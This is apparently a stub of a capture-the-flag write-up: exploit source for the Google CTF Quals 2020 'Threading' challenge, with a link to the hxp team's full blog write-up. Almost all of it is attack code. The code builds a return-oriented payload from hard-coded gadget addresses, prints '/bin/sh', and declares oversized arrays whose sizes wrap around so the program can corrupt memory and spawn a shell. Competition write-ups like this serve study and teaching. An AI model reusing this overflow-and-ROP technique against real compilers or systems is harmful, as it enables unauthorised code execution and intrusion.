For full write-up, check the link the hxp blog.

Code:

def int32 main() {
    array<int64, 603> payload;
    payload[0] = hex64("000000000040c204");
    payload[3] = hex64("00000000004032ac");
    payload[4] = hex64("0000000000416b90");
    payload[5] = hex64("0000000000408145");
    print(payload);
    print("/bin/sh");
    print(364613836481806385);
    if ("A"[0] == "B"[0]) {
        array<char, 1152921504606842104> tmp0;
        array<char, 1152921504606846976> tmp1;
        array<char, 1152921504606846976> tmp2;
        array<char, 1152921504606846976> tmp3;
        array<char, 1152921504606846976> tmp4;
        array<char, 1152921504606846976> tmp5;
        array<char, 1152921504606846977> tmp6;
        array<char, 1152921504606846976> tmp7;
        array<char, 1152921504606846976> tmp8;
        array<char, 1152921504606846976> tmp9;
        array<char, 1152921504606846976> tmp10;
        array<char, 1152921504606846976> tmp11;
        array<char, 1152921504606846976> tmp12;
        array<char, 1152921504606846976> tmp13;
        array<char, 1152921504606846976> tmp14;
        array<char, 1152921504606846976> tmp15;
        int32 i = 0;
        tmp0[i] = 100;
        tmp1[i] = 100;
        tmp2[i] = 100;
        tmp3[i] = 100;
        tmp4[i] = 100;
        tmp5[i] = 100;
        tmp6[i] = 100;
        tmp7[i] = 100;
        tmp8[i] = 100;
        tmp9[i] = 100;
        tmp10[i] = 100;
        tmp11[i] = 100;
        tmp12[i] = 100;
        tmp13[i] = 100;
        tmp14[i] = 100;
        tmp15[i] = 100;
    }
    return 0;
}

Original writeup (https://hxp.io/blog/76/Google-CTF-Quals-2020-Threading/).